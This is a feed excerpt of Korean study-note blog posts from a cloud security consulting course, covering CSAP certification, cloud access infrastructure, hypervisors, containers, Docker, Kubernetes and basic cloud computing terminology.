<p><img src="https://velog.velcdn.com/images/p-jina/post/deb2db82-2bba-4ad5-b5b8-aca6707217fd/image.png" alt=""></p>
<h2 id="11-클라우드-개인정보보호-분야">11. 클라우드 개인정보보호 분야</h2>
<ol>
<li>클라우드 간 신뢰 관리 보안</li>
<li>클라우드 기반 개인정보보호 정책, 접근 통제, 권한관리</li>
<li>ABE(Attribute-Based Encryption:속성기반암호화), KP-ABE(Key-policy ABE), CP-ABE(Ciphertext-Policy ABE)</li>
<li>책임추적성, 개인정보 식별, 인증</li>
<li>데이터 암호화, 안전한 클라우드 통신</li>
<li>RBAC(역할기반접근통제), ABAC(속성기반접근통제), 개인정보업무 통제, 클라우드 기반 개인정보 흐름 통제</li>
<li>기밀성, 무결성, 가용성</li>
<li>클라우드 기반 개인정보 위험관리</li>
<li>개인정보처리시스템 장애 대응, 개인정보처리 성능 품질관리</li>
<li>취약점 분석평가, 보안 감사, 디지털 포렌식</li>
</ol>
<h2 id="12-클라우드-접근-인프라스트럭처">12. 클라우드 접근 인프라스트럭처</h2>
<h3 id="121-기본보안-구성요소">12.1. 기본보안 구성요소</h3>
<ul>
<li><strong>SDP (Software Defined Perimeter, 소프트웨어 정의 경계) :</strong><ul>
<li>인터넷에 연결된 인프라(서버, 라우터 등)를 숨기는 방법</li>
<li>하드웨어 대신 소프트웨어를 기반으로 네트워크 경계를 설정하기 위함</li>
</ul>
</li>
<li><strong>SDN (Software Defined Networking) :</strong><ul>
<li>네트워크 리소스 최적화</li>
<li>네트워크 가상화 및 컨테이너화에 대한 접근 방식</li>
</ul>
</li>
<li><strong>SD-WAN (Software Defined WAN) :</strong><ul>
<li>네트워크 하드웨어에서 트래픽 관리 및 모니터링 가상화하여 개별 애플리케이션에 적용</li>
</ul>
</li>
<li><strong>NSaaS (Network Security as a Service, 네트워크 보안형 서비스) :</strong><ul>
<li>관리형 보안 서비스 제공업체가 운영하는 클라우드 솔루션</li>
<li>클라이언트 네트워크 경계에 설치된 모든 보안 솔루션을 제어, 관리</li>
</ul>
</li>
</ul>
<h3 id="122-접근통제">12.2. 접근통제</h3>
<ul>
<li>SWG (Secure Web Gateway) :</li>
<li>RBI (Remote browser isolation) :</li>
<li>CASB (Cloud Access Security Broker) :</li>
<li>ZTNA (Zero Trust Net Access) :</li>
</ul>
<h3 id="123-식별-및-인증">12.3. 식별 및 인증</h3>
<ul>
<li>MFA (Multi Factor Authentication) :</li>
<li>Biometric Auth (생체인식) :</li>
<li>ZKP (Zero Know Proof, 제로 알려진 증명) :</li>
<li>Credentials Persistency (자격증명 지속성) :</li>
<li>IAM (Identity Access Management, 계정식별 접근관리) :</li>
<li>ZTA (Zero Trust Architecture, 제로 신뢰 기반구조) :</li>
</ul>
<h2 id="13-csap-인증제도">13. CSAP 인증제도</h2>
<h3 id="131-인증-개요">13.1 .인증 개요</h3>
<ul>
<li>국가 · 공공기관에서 안전성 및 신뢰성이 검증된 민간 클라우드 서비스 공급</li>
<li>클라우드 보안인증 평가로 미흡할 수 있었던 컴플라이언스 점검을 통해 법적 준거성을 확보하여 이용자의 신뢰도 향상</li>
</ul>
<h3 id="132-csap-인증-클라우드-보안컨설팅-수행-프로세스">13.2. CSAP 인증 클라우드 보안컨설팅 수행 프로세스</h3>
<p>신청 기관은 CSAP 인증을 받고자 하는 기업
평가기관은 KISA</p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/cc566f50-3775-4638-a8b8-d84460a321c0/image.png" alt=""></p>
<ol>
<li><strong>환경분석 및 정보수집</strong><ul>
<li>CSAP 인증범위 정의<ul>
<li>SaaS간편/표준 인증범위</li>
<li>IaaS/DaaS 인증범위</li>
<li>클라우드 기반 업무, 조직 등</li>
</ul>
</li>
<li>CSAP 통제사항 사전질의서 작성 및 배포</li>
</ul>
</li>
<li><strong>GAP 분석</strong><ul>
<li>CSAP 보안통제평가 기준<ul>
<li>SaaS 간편 : 31개 항목 적용</li>
<li>SaaS 표준 : 79개 항목 적용</li>
<li>IaaS : 116개 항목 적용</li>
<li>DaaS : 110개 항목 적용 </li>
</ul>
</li>
</ul>
</li>
<li><strong>클라우드 보호대책 수립</strong><ul>
<li>클라우드서비스 준거성 검토</li>
<li>클라우드서비스 보안감사<ul>
<li>SaaS 간편 해당사항 X</li>
</ul>
</li>
<li>클라우드서비스 정보보호 정보지침 검토 또는 작성 지원</li>
</ul>
</li>
<li><strong>인증준비 구현</strong><ul>
<li>클라우드서비스 보안인증 명세서</li>
<li>클라우드서비스 보안운영 명세서<ul>
<li>SaaS 간편 : 22개 항목 적용</li>
<li>PaaS 표준 : 70개 항목 적용</li>
<li>IaaS : 116개 항목 적용<h3 id="133-인증신청-시-제출문서">13.3. 인증신청 시 제출문서</h3>
</li>
</ul>
</li>
</ul>
</li>
<li>클라우드서비스 보안인증 신청공문 1부</li>
<li>클라우드서비스 보안인증 신청서 1부</li>
<li>클라우드서비스 보안인증 명세서 1부(클라우드서비스 보안 운영 명세서 포함)</li>
<li>취약점 점검 및 침투 테스트 동의서 1부(SaaS는 IaaS 사업자의 동의포함)</li>
<li>법인/개인 사업자등록증 1부</li>
<li>보안기능변경 영향분석서(CC인증 제품군 SECaaS만해당)</li>
<li>자산관리대장</li>
</ol>
<h3 id="134-관련-법령">13.4. 관련 법령</h3>
<p>클라우드컴퓨팅서비스 보안인증에 관한 고시 제14조(보안인증 유형 및 등급)
클라우드컴퓨팅서비스 보안인증에 관한 고시 제15조(보안인증기준)</p>
<h3 id="135-csap-클라우드-보안인증-유형-결정방안">13.5. CSAP 클라우드 보안인증 유형 결정방안</h3>
<ol>
<li>개발, 운영 인프라 환경<ul>
<li>PaaS : 컨테이너, 레지스터리 </li>
<li>SaaS</li>
</ul>
</li>
<li>CSC(민간, 공공기관) 제공하는 클라우드컴퓨팅서비스 중 SW</li>
</ol>
<blockquote>
<p>💡 보안인증 결정은은 고객인 CSC가 한다.</p>
</blockquote>
<h3 id="136-클라우드컴퓨팅서비스-위험관리-8단계-프로세스">13.6. 클라우드컴퓨팅서비스 위험관리 8단계 프로세스</h3>
<ol>
<li>정보자산 식별 및 정보자산 보안영향도 평가</li>
<li>위험 식별(각 분야별 취약점진단)</li>
<li>위험분석</li>
<li>위험평가</li>
<li>잔여위험 도출</li>
<li>위험수용관리 결정</li>
<li>위험 조치 계획 수립</li>
<li>위험 이행조치, 모니터링 및 검토</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 16기][클라우드 보안 컨설팅 실무] 하이퍼바이저, 가상화, 가상머신과 컨테이너, 쿠버네티스, 도커]]></title>
            <link>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C-%EB%B3%B4%EC%95%88-%EC%BB%A8%EC%84%A4%ED%8C%85-%EC%8B%A4%EB%AC%B4-%ED%95%98%EC%9D%B4%ED%8D%BC%EB%B0%94%EC%9D%B4%EC%A0%80-%EA%B0%80%EC%83%81%ED%99%94-%EA%B0%80%EC%83%81%EB%A8%B8%EC%8B%A0%EA%B3%BC-%EC%BB%A8%ED%85%8C%EC%9D%B4%EB%84%88-%EC%BF%A0%EB%B2%84%EB%84%A4%ED%8B%B0%EC%8A%A4-%EB%8F%84%EC%BB%A4</link>
            <guid>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C-%EB%B3%B4%EC%95%88-%EC%BB%A8%EC%84%A4%ED%8C%85-%EC%8B%A4%EB%AC%B4-%ED%95%98%EC%9D%B4%ED%8D%BC%EB%B0%94%EC%9D%B4%EC%A0%80-%EA%B0%80%EC%83%81%ED%99%94-%EA%B0%80%EC%83%81%EB%A8%B8%EC%8B%A0%EA%B3%BC-%EC%BB%A8%ED%85%8C%EC%9D%B4%EB%84%88-%EC%BF%A0%EB%B2%84%EB%84%A4%ED%8B%B0%EC%8A%A4-%EB%8F%84%EC%BB%A4</guid>
            <pubDate>Mon, 22 Jan 2024 04:32:26 GMT</pubDate>
            <description><![CDATA[<h2 id="1-하이퍼바이저hypervisor">1. 하이퍼바이저(Hypervisor)</h2>
<p><img src="https://velog.velcdn.com/images/p-jina/post/6d18d1f4-eba6-43c5-a998-96c75f903fa7/image.png" alt=""></p>
<h3 id="11-정의">1.1. 정의</h3>
<ul>
<li>호스트 컴퓨터에서 다수의 게스트 OS를 동시에 실행하기 위한 논리적 플랫폼</li>
<li>가상머신을 생성하고 구동하는 소프트웨어로 물리적 서버를 여러 가상 서버로 나눔.</li>
<li>Virtual Machine을 모니터링하는 중간 관리 VMM(Virtual Machine Monitor) 라고도 부름</li>
</ul>
<h3 id="12-특징">1.2. 특징</h3>
<p>주로 IaaS(Infrastructure as a Service) 모델에서 퍼블릭 클라우드 환경에서 사용</p>
<h3 id="13-종류">1.3. 종류</h3>
<ol>
<li><strong>Type1 하이퍼바이저 :</strong> 베어메탈(Bare-metal) 기반<ul>
<li>하드웨어 바로 위에서 설치되어 실행되는 방식</li>
<li>하드웨어를 제어하는 운영체제 역할과 가상머신들을 관리하는 역할을 담당</li>
<li>gkemdnp </li>
</ul>
</li>
<li><strong>Type2 하이퍼바이저 :</strong> 호스트(Hosted) 기반<ul>
<li>일반적으로 사용하는 가상화 방식</li>
<li>호스트 OS 위에 설치되어 실행되는 방식</li>
</ul>
</li>
</ol>
<h2 id="2-span-stylecolore06c75가상화-vs-클라우드-컴퓨팅span">2. <span style="color:#e06c75">가상화 vs 클라우드 컴퓨팅</span></h2>
<h3 id="21-가상화virtualization">2.1. 가상화(Virtualization)</h3>
<ul>
<li><strong>정의 :</strong> 기술</li>
<li><strong>목적 :</strong> 한 대의 물리적 시스템 하드웨어(CPU, Disk, Network 등)를 논리적으로 분할하여 다수의 실행환경(테넌트)이 공유하여 자원을 효율적으로 사용할 수 있게 해주는 기술</li>
<li><strong>용도 :</strong> 특정 용도의 패키징된 리소스를 특정 사용자에게 제공</li>
<li><strong>설정 :</strong> 이미지 기반</li>
<li><strong>비용 :</strong> CAPEX(자본 지출) ↑, OPEX(운영 비용) ↓</li>
<li><strong>평균 수명 :</strong> 연 단위</li>
<li><strong>확장성 :</strong> Scale Up 방식으로 확장</li>
<li><strong>워크로드 :</strong> 스테이트풀(Stateful)</li>
<li><strong>테넌시 :</strong> 싱글 테넌트(하나의 사용자만 소프트웨어 인스턴스나 서비스 사용 가능)</li>
</ul>
<h3 id="22-클라우드-컴퓨팅cloud-computing">2.2. 클라우드 컴퓨팅(Cloud Computing)</h3>
<ul>
<li><strong>정의 :</strong> 방식</li>
<li><strong>목적 :</strong> 온디맨드 사용을 위한 가상 리소스 풀링과 자동화</li>
<li><strong>용도 :</strong> 다양한 용도의 리소스를 사용자 그룹에게 제공</li>
<li><strong>설정 :</strong> 템플릿 기반</li>
<li><strong>비용 :</strong><ul>
<li>프라이빗 클라우드 : 높은 CAPEX(자본 지출), 낮은 OPEX(운영 비용)<ul>
<li>퍼블릭 클라우드 : 낮은 CAPEX(자본 지출), 높은 OPEX(운영 비용)</li>
</ul>
</li>
</ul>
</li>
<li><strong>평균 수명 :</strong> 시간/월 단위</li>
<li><strong>확장성 :</strong> Scale Out 방식으로 확장</li>
<li><strong>워크로드 :</strong> 스테이트리스(Stateless)</li>
<li><strong>테넌시 :</strong> 멀티 테넌트(여러 사용자가 동일한 소프트웨어 인스턴스나 서비스를 공유)</li>
</ul>
<blockquote>
<p>💡 <strong>워크로드란?</strong> <u>컴퓨팅 리소스와 시간의 양.</u> 클라우드 리소스에서 실행되는 애플리케이션, 서비스, 컴퓨팅 또는 기능을 의미. 워크로드는 애플리케이션 및 애플리케이션과의 상호작용을 지원하는 프로세스와 리소스로 구성.</p>
</blockquote>
<blockquote>
<h4 id="💡-워크로드-상태-stateless와-stateful">💡 <strong>워크로드 상태 Stateless와 Stateful</strong></h4>
</blockquote>
<ul>
<li><strong>Stateless</strong> <ul>
<li>클라이언트 요청을 처리하는 동안 어떠한 <u>상태 정보도 저장 X</u></li>
<li>각각의 요청은 독립적으로 처리됨</li>
<li>서버는 클라이언트의 과거 상태를 추적 X</li>
<li>독립적이기 때문에 부하 분산 가능</li>
</ul>
</li>
<li><strong>Stateful</strong><ul>
<li>클라이언트의 <u>상태 정보를 유지하고 저장</u></li>
<li>각각의 요청은 이전 요청과의 상태 의존성을 가짐</li>
<li>서버는 클라이언트의 상태를 지속적으로 추적</li>
<li>상태 공유, 세션 유지 등의 기능을 지원</li>
</ul>
</li>
</ul>
<h2 id="3-인스턴스">3. 인스턴스</h2>
<h3 id="31-정의">3.1. 정의</h3>
<p>컴퓨팅 리소스에 대한 가상 엑세스를 인스턴스(Instance)라는 형태로 제공</p>
<h3 id="32-특징">3.2. 특징</h3>
<ol>
<li><strong>확장성 :</strong><ul>
<li>CPU, 메모리, 스토리지 및 네트워크 리소스를 특정 인스턴스로 늘려 클라우드 리소스를 수평적으로 조정할 수 있음</li>
</ul>
</li>
<li><strong>내결합성 :</strong><ul>
<li>백업을 위해 여러 중복 인스턴스를 사용하여 중복성을 만듦</li>
<li>데이터 처리와 같은 메모리 집약적인 워크로드를 관리하는데 유용</li>
</ul>
</li>
</ol>
<h3 id="33-종류">3.3. 종류</h3>
<ol>
<li>범용 목적 인스턴스(General Purpose)</li>
<li>컴퓨팅 최적화 인스턴스(Compute Optimized)<ul>
<li>데이터 분석, 빠른 처리를 원하는 애플리케이션에 사용</li>
</ul>
</li>
<li>메모리 최적화 인스턴스(Memory Optimized)<ul>
<li>관계형/비관계형 데이터베이스에 사용</li>
</ul>
</li>
<li>가속화된 컴퓨팅 인스턴스(Accelerated Computing)<ul>
<li>동적/정적 그래픽 처리에 사용</li>
</ul>
</li>
<li>스토리지 최적화 인스턴스(Storage Optimized)<ul>
<li>IOPS(Input/Output Operations Per Second) 속도를 위해 사용</li>
</ul>
</li>
</ol>
<h2 id="4-가상머신-vs-컨테이너">4. 가상머신 vs 컨테이너</h2>
<p><img src="https://velog.velcdn.com/images/p-jina/post/d2e90f49-81b4-48c6-a970-5ef29ef03f1b/image.png" alt=""></p>
<h3 id="41-가상머신virtual-machine">4.1. 가상머신(Virtual Machine)</h3>
<ul>
<li><strong>정의 :</strong><ul>
<li>물리적 시스템 하드웨어(CPU, Disk, Network 등)와 동일한 기능을 제공하는 소프트웨어 컴퓨터로 </li>
</ul>
</li>
<li><strong>장점 :</strong><ul>
<li>가상머신은 가상 하드웨어를 직접 제어할 수 있기 때문에 높은 수준의 자원 격리와 쿼터 제한을 수행할 수 있음</li>
</ul>
</li>
<li><strong>단점 :</strong><ul>
<li>대량의 메모리 必</li>
<li>CPU 자원 경쟁에 따른 성능 저하</li>
</ul>
</li>
<li><strong>특징 :</strong><ul>
<li>하이퍼바이저 有</li>
</ul>
</li>
</ul>
<h3 id="42-컨테이너container">4.2. 컨테이너(Container)</h3>
<ul>
<li><strong>정의 :</strong><ul>
<li>애플리케이션 코드와 이 애플리케이션을 실행하기 위한 라이브러리, 환경 설정 등을 하나로 묶어 패키징한 소프트웨어 실행 단위 ⇒ 애플리케이션보다 크거나 실행하는 데 필수적인 모든 파일이 컨테이너에 패키징되는 것은 아니고, 특정 작업을 수행하는 단일 기능(마이크로서비스)이 컨테이너에 패키징됨</li>
</ul>
</li>
<li><strong>장점 :</strong><ul>
<li>빠른 부팅</li>
<li>적은 메모리 사용량</li>
</ul>
</li>
<li><strong>단점 :</strong><ul>
<li>호스트 운영체제에 실행 환경이 묶임</li>
</ul>
</li>
<li><strong>특징 :</strong><ul>
<li>각각의 독립적인 실행환경(테넌트)를 가지고 있지만 호스트 운영체제의 리소스와 기능을 공유</li>
<li>하이퍼바이저 대신 컨테이너 엔진(ex. Docker) 有 </li>
</ul>
</li>
</ul>
<blockquote>
<p>💡 구성 레이어가 적을수록 부팅 시작이 빠르다.</p>
</blockquote>
<h2 id="5-도커docker">5. 도커(docker)</h2>
<p><img src="https://velog.velcdn.com/images/p-jina/post/af03e012-698f-4ef3-a9ae-a658c6807fb7/image.png" alt=""></p>
<h3 id="51-정의">5.1. 정의</h3>
<ul>
<li>항만에서 일하는 &#39;부두 노동자&#39;를 의미하는 말로 항만에서 규격화되어 있는 컨테이너를 옮기고, 관리하는 직업을 도커라고 함. 컴퓨팅에서 도커도 동일한 일을 함.</li>
<li>컨테이너 기반의 오픈소스 가상화 플랫폼</li>
</ul>
<h3 id="52-구성요소">5.2. 구성요소</h3>
<ul>
<li><p><strong>Docker API :</strong></p>
<ul>
<li>TCP 소켓을 이용해 도커 엔진에 명령어를 이용하여 도커를 제어하기 위한 인터페이스</li>
</ul>
</li>
<li><p><strong>Docker CLI :</strong></p>
<ul>
<li>도커 엔진에 사용하는 명령어<pre><code class="language-shell"># 컨테이너 생성
$ docker build
</code></pre>
</li>
</ul>
<h1 id="이미지-가져오기">이미지 가져오기</h1>
<p>$ docker pull</p>
<h1 id="컨테이너-실행">컨테이너 실행</h1>
<p>$ docker run
```</p>
</li>
<li><p><strong>Distribution :</strong></p>
<ul>
<li>도커 이미지를 저장하고 배포 기능을 가진 레지스터리</li>
</ul>
</li>
<li><p><strong>Orchestration :</strong></p>
<ul>
<li>컨테이너를 프로비저닝하고 관리하는 시스템</li>
</ul>
</li>
<li><p><strong>Volumes :</strong></p>
<ul>
<li>컨테이너에서 생성된 데이터를 영구적으로 보관하기 위해 사용하는 것으로 데이터를 보존하고 컨테이너 간에 파일 시스템을 쉽게 공유할 수 있게 해줌</li>
</ul>
</li>
<li><p><strong>Containerd :</strong></p>
<ul>
<li>소프트웨어의 실행에 필요한 모든 것을 포함하는 완전한 파일시스템</li>
</ul>
</li>
<li><p><strong>Docker Build(BuildKit) :</strong></p>
<ul>
<li>도커의 빌드 엔진으로 도커 파일의 빌드 단계를 해결하여 컨테이너 이미지나 다른 아티팩트 생성</li>
</ul>
</li>
<li><p><strong>Networking :</strong></p>
<ul>
<li>컨테이너가 서로 또는 비-도커 작업과 연결하고 통신할 수 있는 기능</li>
</ul>
</li>
</ul>
<h3 id="53-도커의-이미지">5.3. 도커의 이미지</h3>
<ul>
<li>컨테이너를 생성하기 위한 설계도나 템플릿</li>
<li>이미지는 애플리케이션을 실행하는데 필요한 모든 것을 포함(운영체제, 애플리케이션 코드, 라이브러리, 환경변수 등)</li>
<li>한 번 생성된 이미지는 변경되지 않는 불변성을 갖고 있음</li>
<li>이미지를 바탕으로 여러 개 컨테이너 생성 가능</li>
</ul>
<blockquote>
<p>💡 <strong>프로비저닝이란?</strong> 컨테이너의 생성과 관리를 자동화하는 과정을 의미</p>
</blockquote>
<h2 id="6-쿠버네티스kubernetes">6. 쿠버네티스(Kubernetes)</h2>
<p><img src="https://velog.velcdn.com/images/p-jina/post/e2cf7426-3b5c-4efb-8941-f64a2d101de7/image.png" alt=""></p>
<h3 id="61-정의">6.1. 정의</h3>
<ul>
<li><strong>배의 조타수</strong>라는 그리스 단어에서 유래</li>
<li>2014년 구글에서 사용하던 <strong>컨테이너 오케스트레이션 시스템</strong> 보그를 오픈 소스 소프트웨어로 공개한 것</li>
<li>Kubernetes → K와 S 사이 8글자가 있어서 <strong>k8s</strong> 라고도 함</li>
</ul>
<blockquote>
<p>💡 AWS에서 쿠버네티스 관리형 서비스인 EKS 출시</p>
</blockquote>
<h3 id="62-특징">6.2. 특징</h3>
<ol>
<li>선언적 API :<ul>
<li>컨테이너가 어떤 상태이길 워하는지만 쿠버네티스에 설정하면 지속해서 컨테이너 상태를 체크한다. 그리고 컨테이너가 설정한 상태가 아니라면 그것에 맞춘다는 개념</li>
</ul>
</li>
<li>사용 컴포넌트 구현 단순</li>
<li>워크로드 분리</li>
<li>어디서나 실행 가능</li>
<li>활성화된 커뮤니티</li>
</ol>
<h3 id="63-클러스터-기본구성">6.3. 클러스터 기본구성</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/d17c1b11-5ed4-4132-a027-f0d26d07a21b/image.png" alt=""></p>
<ul>
<li><strong>클러스터 (Cluster) :</strong>  여러 대의 컴퓨터들이 연결되어 하나의 시스템처럼 동작하는 컴퓨터들의 집합</li>
<li><strong>마스터 노드 (Master Node) :</strong> 클러스터를 관리<ul>
<li>kube-apiserver : 클러스터의 API를 사용할 수 있도록 하고, 클러스터에 들어온 요청을 가장 먼저 접수해 해당 요청이 유효한지 검증하는 역할을 하는 컴포넌트</li>
<li>kube-contorller-manager : 클러스터의 전반적인 상태 관리 및 필요 조치를 취하는 컴포넌트</li>
<li>kube-scheduler : 자원 할당이 가능한 노드에 포드를 배치하는 결정을 하는 역할로 이 결정은 kube-apiserver에 전달(바인딩)</li>
<li>kube-proxy : 쿠버네티스는 클러스터 안에 별도의 가상 네트워크를 설정하고 관리하는데 이 가상 네트워크의 동작(네트워크 프록시, 네트워크 설정, 서비스 모니터링)을 관리하는 컴포넌트 </li>
<li>etcd : 모든 클러스터의 데이터를 키-값 형태로 저장하는 저장소로 일종의 데이터베이스  </li>
</ul>
</li>
<li><strong>워커 노드 (Worker Node) :</strong> 실제 컨테이너를 실행시키는 노드<ul>
<li>kubelet : 워커 노드의 kubelet은 마스터의 kube-apiserver와 통신하면서 포드의 생성, 관리, 삭제를 담당</li>
<li>Pod : 하나 이상의 컨테이너 그룹<ul>
<li>container</li>
</ul>
</li>
<li>container runtime : 컨테이너를 실행시키는 엔진</li>
<li>kube-proxy : 포드 간의 통신이 가능하게 해주는 컴포넌트</li>
</ul>
</li>
</ul>
<h2 id="7-컨테이너-보안이슈">7. 컨테이너 보안이슈</h2>
<ol>
<li>컨테이너 애플리케이션 접근</li>
<li>컨테이너 이미지 보안</li>
<li>루트 권한으로 이용하는 컨테이너 동작</li>
<li>사용자 권한</li>
<li>포드 통신 구간 암호화</li>
<li>중요 데이터 보안</li>
<li>etcd 보안</li>
<li>컨테이너 데이터, 이미지 백업 및 복구</li>
<li>컨테이너 보안정책 구성</li>
<li>컨테이너 재해 복구 계획</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 16기][클라우드 보안 컨설팅 실무] 클라우드컴퓨팅서비스 개요와 기초]]></title>
            <link>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C-%EB%B3%B4%EC%95%88-%EC%BB%A8%EC%84%A4%ED%8C%85-%EC%8B%A4%EB%AC%B4-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C%EC%BB%B4%ED%93%A8%ED%8C%85%EC%84%9C%EB%B9%84%EC%8A%A4</link>
            <guid>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C-%EB%B3%B4%EC%95%88-%EC%BB%A8%EC%84%A4%ED%8C%85-%EC%8B%A4%EB%AC%B4-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C%EC%BB%B4%ED%93%A8%ED%8C%85%EC%84%9C%EB%B9%84%EC%8A%A4</guid>
            <pubDate>Wed, 17 Jan 2024 00:39:02 GMT</pubDate>
            <description><![CDATA[<blockquote>
<h4 id="알아두면-좋은-용어">알아두면 좋은 용어</h4>
</blockquote>
<ul>
<li><strong>CCE(Common Configuration Enumeration)</strong> :
사용자에게 허용된 권한 이상의 동작을 허용하거나 범위 이상의 정보 열람, 변조, 유출 등을 가능하게 하는 시스템 설정 상의 취약점<br/></li>
<li><strong>CVE(Common Vulnerabilities and Exposures)</strong> :<ul>
<li>컴퓨터 하드웨어 또는 소프트웨어 결합이나 체계, 설계상의 취약점</li>
<li>공개적으로 알려진 보안 취약점에 대한 공통 식별자 목록으로 표준화된 CVE 항목은 서비스 적용 범위를 평가할 수 있는 기준 제공</li>
</ul>
</li>
</ul>
<h2 id="1-클라우드-보안-컨설팅-분야">1. 클라우드 보안 컨설팅 분야</h2>
<ol>
<li>국내외 클라우드 보안 인증지원 컨설팅</li>
<li>클라우드 보안관리체계 수립</li>
<li>클라우드 보안 SP/MP</li>
<li>클라우드 보안평가</li>
<li>클라우드 보안 아키텍처 컨설팅</li>
<li>클라우드 보안감사</li>
<li>금융 클라우드 이용신고대응 보안컨설팅 ⇒ 전자금융감독규정 제14조의2제5항</li>
<li>클라우드 취약점 분석 및 평가</li>
<li>국가 클라우드컴퓨팅서비스 도입 보안컨설팅</li>
</ol>
<h2 id="2-온프레미스on-premise">2. 온프레미스(On-premise)</h2>
<h3 id="21-정의">2.1. 정의</h3>
<ul>
<li>IT서비스를 운영하는 회사가 자체적으로 보유한 공간에 물리적으로 하드웨어 장비를 가지고 직접 운영하는 방식. 클라우드 컴퓨팅 기술이 나오기 전 사용하던 일반적인 인프라 구축 방법</li>
</ul>
<h2 id="3-클라우드컴퓨팅서비스cloud-computing-service">3. 클라우드컴퓨팅서비스(Cloud Computing Service)</h2>
<h3 id="31-정의">3.1. 정의</h3>
<ul>
<li>온디맨드로 서비스에 엑세스</li>
<li>대규모 사전 투자방지</li>
<li>필요에 따라 컴퓨팅 리소스를 프로비저닝</li>
<li>사용한 만큼만 비용을 지불</li>
</ul>
<h3 id="32-이점">3.2. 이점</h3>
<ol>
<li>클라우드 기반 배포<ul>
<li>애플리케이션의 모든 부분을 클라우드에서 실행</li>
<li>기존 애플리케이션을 클라우드로 마이그레이션<ul>
<li>온프레미스 → 오프프레미스</li>
</ul>
</li>
<li>클라우드에서 새로운 애플리케이션 설계 및 구축 가능</li>
</ul>
</li>
<li>가변 비용 </li>
<li>비용 최적화</li>
<li>필요에 따른 용량 축소(Scale in) 및 확장(Scale out) 가능</li>
<li>속도 및 민첩성 <ul>
<li>데이터센터 : 리소스 필요 시점과 리소스 확보 시점 간의 간격이 주 단위 </li>
<li>클라우드 컴퓨팅 : 리소스 필요 시점과 리소스 확보 시점 간의 간격이 분 단위 </li>
</ul>
</li>
<li>빠른 배포 가능</li>
</ol>
<h3 id="33-용어">3.3. 용어</h3>
<p>ISO/IEC 22123-1:2023(국제표준 클라우드컴퓨팅 용어)에서 정의한 용어</p>
<ul>
<li><strong>클라우드 서비스 제공자 (CSP : Cloud Service Provider)</strong> :<ul>
<li>클라우드 서비스를 제공하는 업체</li>
</ul>
</li>
<li><strong>클라우드 서비스 고객(CSC : Cloud Service Customer)</strong> :<ul>
<li>클라우드 서비스를 호출하여 이용하는 고객</li>
</ul>
</li>
<li><strong>클라우드 서비스 파트너/브로커(CSN : Cloud Service partNer)</strong> :<ul>
<li>클라우드 서비스 제공자(CSP) 또는 고객(CSC)의 활동을 지원하거나 보조</li>
</ul>
</li>
<li><span style="color:#e06c75"><strong>클라우드 컴퓨팅(Cloud Computing)</strong></span> :<ul>
<li>셀프서비스 및 주문형 관리, 공유 가능한 확장성과 탄력성 있는 물리적 또는 가상적인 리소스 풀에 대한 네트워크 접근을 제공하는 패러다임</li>
</ul>
</li>
<li><span style="color:#e06c75"><strong>클라우드 컴퓨팅 서비스(Cloud Computing Service)</strong></span> :<ul>
<li>사용자가 정의된 인터페이스를 통해 필요한 컴퓨팅 리소스를 유연하게 호출하고, 이를 네트워크를 통해 원격으로 이용할 수 있는 서비스</li>
</ul>
</li>
<li>** 클라우드 서비스 범주모델(Cloud Service Party Model)** :<ul>
<li>클라우드 컴퓨팅 서비스를 제공하는 방식을 분류한 것<ol>
<li>IaaS (Infrastructure as a Service)</li>
<li>PaaS (Platform as a Service)</li>
<li>SaaS (Software as a Service)</li>
<li>NaaS (Network as a Service)</li>
<li>SECaaS (Security as a Service)</li>
<li>AlaaS (Artificial Intelligence as a Service) 등</li>
</ol>
</li>
</ul>
</li>
<li><strong>클라우드 서비스 배치모델(Cloud Service Deployment Model)</strong> : <ul>
<li>클라우드 인프라의 위치와 운영에 따라 분류한 것<ol>
<li>공용(Public) 클라우드</li>
<li>사설(Private) 클라우드</li>
<li>커뮤니티(Community) 클라우드</li>
<li>하이브리드(Hybrid) 클라우드</li>
</ol>
</li>
</ul>
</li>
<li><strong>인프라형 서비스(IaaS : Infrastructure as a Service)</strong> :<ul>
<li>고객은 물리적이나 가상적인 기본 리소스를 직접 관리하지 않지만, 가상 리소스를 활용하여 운영 체제, 저장 장치, 그리고 애플리케이션을 통제</li>
</ul>
</li>
<li><strong>플랫폼형 서비스(PaaS : Platform as a Service)</strong> :<ul>
<li>고객은 지원하는 프로그래밍 언어와 실행 환경을 활용하여 애플리케이션을 생성하고 관리하며 실행할 수 있는 클라우드 능력 유형</li>
</ul>
</li>
<li><strong>소프트웨어형 서비스(SaaS : Software as a Service)</strong> :<ul>
<li>클라우드 서비스 제공자가 고객에게 제공하는 애플리케이션 유형</li>
<li>고객은 자체 데이터를 생성, 이용, 삭제 가능</li>
</ul>
</li>
<li><strong>클라우드 서비스 고객 데이터(Cloud Service Customer Data)</strong> :<ul>
<li>법령, 인터페이스를 통한 능력 행사 결과로 클라우드 서비스에 투입된 데이터 객체 클래스</li>
<li>고객 통제 하에 있는 데이터 객체 클래스</li>
</ul>
</li>
<li><span style="color:#e06c75"><strong>데이터 이식성(Data Portability)</strong></span> :<ul>
<li>시스템 간에 데이터를 손쉽게 전송하는 능력</li>
<li>소스 시스템과 목표 시스템 간의 양식 일치가 중요</li>
</ul>
</li>
<li><strong>종량제 서비스(Measured Service)</strong> :<ul>
<li>클라우드 서비스 사용량을 측정하여 감시, 제어, 보고, 청구하는 서비스</li>
</ul>
</li>
<li><strong>멀티 테넌시 or 테넌트(Multi-Tenancy(=Tenant)</strong> :<ul>
<li>여러 클라우드 서비스 사용자가 공유된 11개의 물리적 또는 가상적인 리소스 집합에 접근하는 것을 의미</li>
<li>SaaS형 서비스에서 많이 사용하는 용어</li>
</ul>
</li>
